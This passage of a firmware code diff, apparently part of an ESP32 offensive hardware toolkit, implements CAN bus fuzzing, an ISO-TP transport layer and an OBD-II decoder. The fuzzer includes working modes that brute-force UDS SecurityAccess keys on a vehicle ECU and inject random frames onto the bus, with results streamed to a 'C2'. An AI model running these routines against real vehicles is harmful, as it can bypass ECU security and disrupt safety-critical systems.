/* Short seed: try sequential */
key_len = seed_len;
key_req[2] = (uint8_t)(attempt >> 8);
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
else key_req[2] = (uint8_t)(attempt & 0xFF);
} else {
/* Long seed: try random keys */
key_len = seed_len;
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&key_req[2], &r1, 4);
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
}
resp_len = 0;
st = isotp_request(
tx_id, rx_id, key_req, 2 + key_len,
resp, sizeof(resp), &resp_len, 1000
);
s_fuzz_count++;
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
/* SUCCESS! */
char line[64];
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
(unsigned long)tx_id);
size_t off = strlen(line);
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
ESP_LOGI(TAG, "Security key found!");
s_fuzz_running = false;
break;
}
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
/* Progress report every 100 attempts */
if ((attempt % 100) == 99) {
char progress[48];
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
}
}
#else
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
s_fuzz_running = false;
#endif
}
/* ============================================================
* Fuzz Task
* ============================================================ */
static void fuzz_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
s_fuzz_count = 0;
s_fuzz_responses = 0;
switch (s_fuzz_cfg.mode) {
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
case FUZZ_MODE_RANDOM: fuzz_random(); break;
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
}
/* Report completion */
char done[80];
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
s_fuzz_count, s_fuzz_responses);
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
s_fuzz_running = false;
s_fuzz_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
if (s_fuzz_running) {
ESP_LOGW(TAG, "Fuzzing already in progress");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
if (!can_driver_is_running()) {
ESP_LOGE(TAG, "CAN driver not running");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
s_fuzz_cfg = *cfg;
s_fuzz_req_id = request_id;
s_fuzz_running = true;
BaseType_t ret = xTaskCreatePinnedToCore(
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
);
if (ret != pdPASS) {
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
return false;
}
xSemaphoreGive(s_fuzz_mutex);
return true;
}
void can_fuzz_stop(void)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool can_fuzz_is_running(void)
{
return s_fuzz_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */

View File

@ -0,0 +1,42 @@
/*
* canbus_fuzz.h
* CAN bus fuzzing engine ID scan, data mutation, random injection, UDS auth brute-force.
*/
#pragma once
#include <stdint.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */
FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */
FUZZ_MODE_RANDOM, /* Random ID + random data */
FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */
} fuzz_mode_t;
typedef struct {
fuzz_mode_t mode;
uint32_t id_start, id_end; /* For ID_SCAN range */
uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */
int delay_ms; /* Inter-frame delay */
int max_iterations; /* 0 = unlimited */
uint8_t seed_data[8]; /* Initial data for mutation */
uint8_t seed_dlc; /* DLC for seed data */
} fuzz_config_t;
/* Start fuzzing in background task. request_id for C2 streaming. */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id);
/* Stop fuzzing */
void can_fuzz_stop(void);
/* Check if fuzzing is active */
bool can_fuzz_is_running(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,416 @@
/*
* canbus_isotp.c
* ISO-TP (ISO 15765-2) transport layer implementation.
*
* Frame types:
* Single Frame (SF): [0x0N | data...] N = length (1-7)
* First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095)
* Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping)
* Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP)
#include <string.h>
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include "esp_timer.h"
#include "esp_log.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#define TAG "CAN_ISOTP"
/* Max ISO-TP payload (12-bit length field) */
#define ISOTP_MAX_LEN 4095
/* Reassembly buffer (static — single concurrent transfer) */
static uint8_t s_reassembly[ISOTP_MAX_LEN];
/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */
static SemaphoreHandle_t s_rx_sem = NULL;
static can_frame_t s_rx_frame;
static volatile uint32_t s_listen_id = 0;
static volatile bool s_listening = false;
/* Previous RX callback to chain */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
/* ============================================================
* Internal RX callback for ISO-TP framing
* ============================================================ */
static void isotp_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* If we're listening for a specific ID, capture it */
if (s_listening && frame->id == s_listen_id) {
s_rx_frame = *frame;
if (s_rx_sem) xSemaphoreGive(s_rx_sem);
}
/* Chain to previous callback (sniff/record) */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Helpers
* ============================================================ */
static void isotp_init_once(void)
{
if (!s_rx_sem) {
s_rx_sem = xSemaphoreCreateBinary();
}
}
/* Hook our callback, saving the previous one */
static void isotp_hook_rx(uint32_t listen_id)
{
isotp_init_once();
s_listen_id = listen_id;
s_listening = true;
/* Clear any pending semaphore */
xSemaphoreTake(s_rx_sem, 0);
}
static void isotp_unhook_rx(void)
{
s_listening = false;
s_listen_id = 0;
}
/* Wait for a frame with the target ID, timeout in ms */
static bool wait_frame(can_frame_t *out, int timeout_ms)
{
if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) {
*out = s_rx_frame;
return true;
}
return false;
}
/* Send a single CAN frame (helper) */
static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc)
{
can_frame_t f = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
.timestamp_us = 0,
};
memcpy(f.data, data, dlc);
return can_driver_send(&f);
}
/* Send Flow Control frame: CTS (continue to send) */
static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min)
{
uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 };
return send_frame(tx_id, fc, 8);
}
/* ============================================================
* isotp_send Send ISO-TP message
* ============================================================ */
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
const uint8_t *data, size_t len,
int timeout_ms)
{
if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR;
isotp_init_once();
/* Single Frame: len <= 7 */
if (len <= 7) {
uint8_t sf[8] = { 0 };
sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */
memcpy(&sf[1], data, len);
if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR;
return ISOTP_OK;
}
/* Multi-frame: First Frame + wait FC + Consecutive Frames */
/* Send First Frame */
uint8_t ff[8] = { 0 };
ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F);
ff[1] = (uint8_t)(len & 0xFF);
memcpy(&ff[2], data, 6);
if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR;
/* Wait for Flow Control */
isotp_hook_rx(rx_id);
can_frame_t fc;
if (!wait_frame(&fc, timeout_ms)) {
isotp_unhook_rx();
ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id);
return ISOTP_TIMEOUT;
}
isotp_unhook_rx();
/* Parse FC */
if ((fc.data[0] & 0xF0) != 0x30) {
ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]);
return ISOTP_ERROR;
}
uint8_t block_size = fc.data[1]; /* 0 = no limit */
uint8_t st_min = fc.data[2]; /* Separation time in ms */
/* Send Consecutive Frames */
size_t offset = 6; /* First 6 bytes already sent in FF */
uint8_t seq = 1;
uint8_t blocks_sent = 0;
while (offset < len) {
uint8_t cf[8] = { 0 };
cf[0] = 0x20 | (seq & 0x0F);
size_t chunk = len - offset;
if (chunk > 7) chunk = 7;
memcpy(&cf[1], &data[offset], chunk);
if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR;
offset += chunk;
seq = (seq + 1) & 0x0F;
blocks_sent++;
/* Respect separation time */
if (st_min > 0 && st_min <= 127) {
vTaskDelay(pdMS_TO_TICKS(st_min));
}
/* Block size flow control */
if (block_size > 0 && blocks_sent >= block_size && offset < len) {
blocks_sent = 0;
isotp_hook_rx(rx_id);
if (!wait_frame(&fc, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
isotp_unhook_rx();
if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR;
block_size = fc.data[1];
st_min = fc.data[2];
}
}
return ISOTP_OK;
}
/* ============================================================
* isotp_recv Receive ISO-TP message
* ============================================================ */
isotp_status_t isotp_recv(uint32_t rx_id,
uint8_t *buf, size_t buf_cap, size_t *out_len,
int timeout_ms)
{
if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR;
*out_len = 0;
isotp_hook_rx(rx_id);
can_frame_t frame;
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
uint8_t pci_type = frame.data[0] & 0xF0;
/* Single Frame */
if (pci_type == 0x00) {
isotp_unhook_rx();
size_t sf_len = frame.data[0] & 0x0F;
if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR;
memcpy(buf, &frame.data[1], sf_len);
*out_len = sf_len;
return ISOTP_OK;
}
/* First Frame */
if (pci_type != 0x10) {
isotp_unhook_rx();
ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]);
return ISOTP_ERROR;
}
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) {
isotp_unhook_rx();
return ISOTP_OVERFLOW;
}
/* Copy first 6 data bytes from FF */
size_t received = (total_len < 6) ? total_len : 6;
memcpy(buf, &frame.data[2], received);
/* We need to figure out the TX ID to send FC back.
* Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8.
* For functional requests, FC goes to rx_id - 8.
* Caller should use isotp_request() for proper bidirectional comms. */
uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF)
? (rx_id - 8)
: (rx_id - 1);
/* Send Flow Control: continue, no block limit, 0ms separation */
send_fc(fc_tx_id, 0, 0);
/* Receive Consecutive Frames */
uint8_t expected_seq = 1;
while (received < total_len) {
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
if ((frame.data[0] & 0xF0) != 0x20) {
isotp_unhook_rx();
ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]);
return ISOTP_ERROR;
}
uint8_t seq = frame.data[0] & 0x0F;
if (seq != (expected_seq & 0x0F)) {
ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u",
expected_seq & 0x0F, seq);
}
expected_seq++;
size_t chunk = total_len - received;
if (chunk > 7) chunk = 7;
memcpy(&buf[received], &frame.data[1], chunk);
received += chunk;
}
isotp_unhook_rx();
*out_len = total_len;
return ISOTP_OK;
}
/* ============================================================
* isotp_request Send + Receive (UDS request-response pattern)
* ============================================================ */
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len,
int timeout_ms)
{
if (!resp || !resp_len) return ISOTP_ERROR;
*resp_len = 0;
isotp_init_once();
/* For request-response, we need to listen before sending
* (the response may come very quickly after the request) */
isotp_hook_rx(rx_id);
/* Send request */
isotp_status_t st;
if (req_len <= 7) {
/* Single frame — send directly and wait for response */
uint8_t sf[8] = { 0 };
sf[0] = (uint8_t)(req_len & 0x0F);
memcpy(&sf[1], req, req_len);
if (!send_frame(tx_id, sf, 8)) {
isotp_unhook_rx();
return ISOTP_ERROR;
}
} else {
/* Multi-frame send — unhook first since isotp_send hooks itself */
isotp_unhook_rx();
st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms);
if (st != ISOTP_OK) return st;
isotp_hook_rx(rx_id);
}
/* Wait for response (may be SF or FF+CF) */
can_frame_t frame;
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
uint8_t pci_type = frame.data[0] & 0xF0;
/* Single Frame response */
if (pci_type == 0x00) {
isotp_unhook_rx();
size_t sf_len = frame.data[0] & 0x0F;
if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR;
memcpy(resp, &frame.data[1], sf_len);
*resp_len = sf_len;
return ISOTP_OK;
}
/* First Frame response */
if (pci_type == 0x10) {
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) {
isotp_unhook_rx();
return ISOTP_OVERFLOW;
}
size_t received = (total_len < 6) ? total_len : 6;
memcpy(resp, &frame.data[2], received);
/* Send FC */
send_fc(tx_id, 0, 0);
/* Receive CFs */
uint8_t expected_seq = 1;
while (received < total_len) {
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
if ((frame.data[0] & 0xF0) != 0x20) {
isotp_unhook_rx();
return ISOTP_ERROR;
}
expected_seq++;
size_t chunk = total_len - received;
if (chunk > 7) chunk = 7;
memcpy(&resp[received], &frame.data[1], chunk);
received += chunk;
}
isotp_unhook_rx();
*resp_len = total_len;
return ISOTP_OK;
}
isotp_unhook_rx();
ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]);
return ISOTP_ERROR;
}
/* ============================================================
* Install ISO-TP RX hook into the CAN driver
* ============================================================ */
void isotp_install_hook(void)
{
isotp_init_once();
/* Save the current callback so we can chain to it */
can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx);
can_driver_set_rx_callback(isotp_rx_callback, NULL);
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */

View File

@ -0,0 +1,70 @@
/*
* canbus_isotp.h
* ISO-TP (ISO 15765-2) transport layer for CAN bus.
* Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
ISOTP_OK = 0,
ISOTP_TIMEOUT,
ISOTP_OVERFLOW,
ISOTP_ERROR,
} isotp_status_t;
/*
* Send an ISO-TP message (blocking).
* Handles Single Frame for len <= 7, or First Frame + Consecutive Frames.
* Waits for Flow Control frame from receiver if multi-frame.
*
* tx_id: CAN arbitration ID for outgoing frames
* rx_id: CAN arbitration ID for incoming Flow Control
* data/len: payload to send
* timeout_ms: max wait for Flow Control response
*/
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
const uint8_t *data, size_t len,
int timeout_ms);
/*
* Receive an ISO-TP message (blocking).
* Reassembles Single Frame or First Frame + Consecutive Frames.
* Sends Flow Control frame to sender if multi-frame.
*
* rx_id: CAN arbitration ID to listen for
* buf/buf_cap: output buffer
* out_len: actual received length
* timeout_ms: max wait time
*/
isotp_status_t isotp_recv(uint32_t rx_id,
uint8_t *buf, size_t buf_cap, size_t *out_len,
int timeout_ms);
/*
* Request-Response: send then receive (most common UDS pattern).
* Combines isotp_send() + isotp_recv() with proper FC handling.
*
* tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics)
*/
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len,
int timeout_ms);
/*
* Install ISO-TP RX hook into the CAN driver callback chain.
* Must be called after can_driver_set_rx_callback() so that the
* previous callback (sniff/record) is preserved in the chain.
*/
void isotp_install_hook(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,357 @@
/*
* canbus_obd.c
* OBD-II PID decoder with lookup table for ~40 common PIDs.
*
* Uses ISO-TP for communication (even single-frame OBD fits in SF,
* but VIN and DTC responses may require multi-frame).
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD)
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_obd.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#include "utils.h"
#define TAG "CAN_OBD"
/* ============================================================
* PID Decoder Table
* ============================================================ */
typedef float (*decode_fn_t)(const uint8_t *data, int len);
typedef struct {
uint8_t pid;
const char *name;
const char *unit;
int data_bytes; /* Expected response data bytes (A, AB, ABC...) */
decode_fn_t decode;
} pid_decoder_t;
/* Decode functions — all check buffer length before access */
static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; }
static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; }
static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; }
static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); }
static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; }
static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; }
static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; }
static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; }
static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; }
static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; }
static const pid_decoder_t s_pid_table[] = {
/* PID Name Unit Bytes Decoder */
{ 0x04, "Engine Load", "%", 1, decode_a_percent },
{ 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 },
{ 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
{ 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
{ 0x0B, "Intake MAP", "kPa", 1, decode_a },
{ 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 },
{ 0x0D, "Vehicle Speed", "km/h", 1, decode_a },
{ 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 },
{ 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 },
{ 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 },
{ 0x11, "Throttle Position", "%", 1, decode_a_percent },
{ 0x1C, "OBD Standard", "", 1, decode_a },
{ 0x1F, "Engine Runtime", "s", 2, decode_ab },
{ 0x21, "Distance w/ MIL", "km", 2, decode_ab },
{ 0x2C, "Commanded EGR", "%", 1, decode_a_percent },
{ 0x2F, "Fuel Level", "%", 1, decode_a_percent },
{ 0x30, "Warmups since DTC clear", "", 1, decode_a },
{ 0x31, "Distance since DTC clear", "km", 2, decode_ab },
{ 0x33, "Baro Pressure", "kPa", 1, decode_a },
{ 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */
{ 0x45, "Relative Throttle", "%", 1, decode_a_percent },
{ 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 },
{ 0x49, "Accelerator Position D", "%", 1, decode_a_percent },
{ 0x4A, "Accelerator Position E", "%", 1, decode_a_percent },
{ 0x4C, "Commanded Throttle", "%", 1, decode_a_percent },
{ 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 },
{ 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 },
{ 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */
{ 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */
};
#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0]))
/* Find decoder for a PID */
static const pid_decoder_t *find_pid(uint8_t pid)
{
for (int i = 0; i < (int)PID_TABLE_SIZE; i++) {
if (s_pid_table[i].pid == pid) return &s_pid_table[i];
}
return NULL;
}
/* ============================================================
* OBD-II Communication (via ISO-TP)
* ============================================================ */
/* Send OBD request and receive response */
static int obd_transact(uint8_t mode, uint8_t pid,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
uint8_t req[2] = { mode, pid };
/* Use functional broadcast (0x7DF) for Mode 01/03/09 */
/* Listen on first responder (0x7E8) — most vehicles respond here */
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 2,
resp, resp_cap, resp_len,
2000
);
return (st == ISOTP_OK) ? 0 : -1;
}
/* ============================================================
* Public API
* ============================================================ */
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out)
{
if (!out) return -1;
memset(out, 0, sizeof(*out));
uint8_t resp[16];
size_t resp_len = 0;
if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) {
return -1;
}
/* Response: mode+0x40, PID, data bytes */
if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) {
return -1;
}
out->pid = pid;
/* Try to decode with known PID table */
const pid_decoder_t *dec = find_pid(pid);
if (dec) {
out->name = dec->name;
out->unit = dec->unit;
int data_offset = 2; /* After mode+0x40 and PID */
int data_avail = (int)resp_len - data_offset;
if (data_avail >= dec->data_bytes) {
out->value = dec->decode(&resp[data_offset], data_avail);
}
} else {
out->name = "Unknown";
out->unit = "";
out->value = (resp_len > 2) ? (float)resp[2] : 0;
}
return 0;
}
int obd_query_supported(uint8_t pids_out[], int max_pids)
{
int total = 0;
uint8_t resp[16];
size_t resp_len = 0;
/* PID 00: supported PIDs 01-20 */
/* PID 20: supported PIDs 21-40 */
/* PID 40: supported PIDs 41-60 */
/* PID 60: supported PIDs 61-80 */
uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 };
for (int r = 0; r < 4; r++) {
if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) {
break;
}
if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) {
break;
}
/* 4 bytes = 32 bits, each bit = supported PID */
uint32_t bitmap = ((uint32_t)resp[2] << 24)
| ((uint32_t)resp[3] << 16)
| ((uint32_t)resp[4] << 8)
| (uint32_t)resp[5];
for (int bit = 0; bit < 32 && total < max_pids; bit++) {
if (bitmap & (1U << (31 - bit))) {
pids_out[total++] = range_pids[r] + bit + 1;
}
}
/* If last PID in range is not supported, no point checking next range */
if (!(bitmap & 0x01)) break;
}
return total;
}
int obd_read_vin(char *vin_out, size_t cap)
{
if (!vin_out || cap < 18) return -1;
uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */
uint8_t resp[64];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 2,
resp, sizeof(resp), &resp_len,
3000
);
if (st != ISOTP_OK) return -1;
/* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */
if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) {
return -1;
}
/* VIN starts at offset 3 (after 0x49, 0x02, count) */
int vin_start = 3;
int vin_len = (int)resp_len - vin_start;
if (vin_len > 17) vin_len = 17;
if (vin_len > (int)cap - 1) vin_len = (int)cap - 1;
memcpy(vin_out, &resp[vin_start], vin_len);
vin_out[vin_len] = '\0';
return 0;
}
int obd_read_dtcs(char *dtc_buf, size_t cap)
{
uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */
uint8_t resp[128];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 1,
resp, sizeof(resp), &resp_len,
3000
);
if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) {
snprintf(dtc_buf, cap, "No DTCs or read error");
return -1;
}
int num_dtcs = resp[1]; /* Number of DTCs */
if (num_dtcs == 0) {
snprintf(dtc_buf, cap, "No DTCs stored");
return 0;
}
int off = 0;
off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs);
/* Each DTC is 2 bytes, starting at offset 2 */
static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' };
for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) {
uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1];
char prefix = dtc_prefixes[(raw >> 14) & 0x03];
int code = raw & 0x3FFF;
off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code);
if (off >= (int)cap - 8) break;
}
return off;
}
/* ============================================================
* Continuous Monitoring
* ============================================================ */
static volatile bool s_monitor_running = false;
static TaskHandle_t s_monitor_task = NULL;
static uint8_t s_monitor_pids[16];
static int s_monitor_pid_count = 0;
static int s_monitor_interval = 1000;
static const char *s_monitor_req_id = NULL;
static SemaphoreHandle_t s_mon_mutex = NULL;
static void monitor_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval",
s_monitor_pid_count, s_monitor_interval);
while (s_monitor_running) {
for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) {
obd_result_t result;
if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) {
char line[96];
snprintf(line, sizeof(line), "OBD|%s|%.1f|%s",
result.name, result.value, result.unit);
msg_data(TAG, line, strlen(line), false, s_monitor_req_id);
}
}
vTaskDelay(pdMS_TO_TICKS(s_monitor_interval));
}
ESP_LOGI(TAG, "OBD monitor stopped");
s_monitor_task = NULL;
vTaskDelete(NULL);
}
void obd_monitor_start(const uint8_t *pids, int pid_count,
int interval_ms, const char *request_id)
{
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
if (s_monitor_running) {
xSemaphoreGive(s_mon_mutex);
obd_monitor_stop();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
}
if (pid_count > 16) pid_count = 16;
memcpy(s_monitor_pids, pids, pid_count);
s_monitor_pid_count = pid_count;
s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000;
s_monitor_req_id = request_id;
s_monitor_running = true;
xTaskCreatePinnedToCore(
monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1
);
xSemaphoreGive(s_mon_mutex);
}
void obd_monitor_stop(void)
{
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
s_monitor_running = false;
xSemaphoreGive(s_mon_mutex);
for (int i = 0; i < 20 && s_monitor_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool obd_monitor_is_running(void)
{
return s_monitor_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */

View File

@ -0,0 +1,48 @@
/*
* canbus_obd.h
* OBD-II (ISO 15031) PID decoder over ISO-TP.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Standard OBD-II CAN IDs */
#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */
#define OBD_RESPONSE_MIN 0x7E8
#define OBD_RESPONSE_MAX 0x7EF
/* Decoded PID result */
typedef struct {
uint8_t pid;
float value;
const char *unit; /* "rpm", "km/h", "C", etc. */
const char *name; /* "Engine RPM", "Vehicle Speed", etc. */
} obd_result_t;
/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out);
/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */
int obd_query_supported(uint8_t pids_out[], int max_pids);
/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */
int obd_read_vin(char *vin_out, size_t cap);
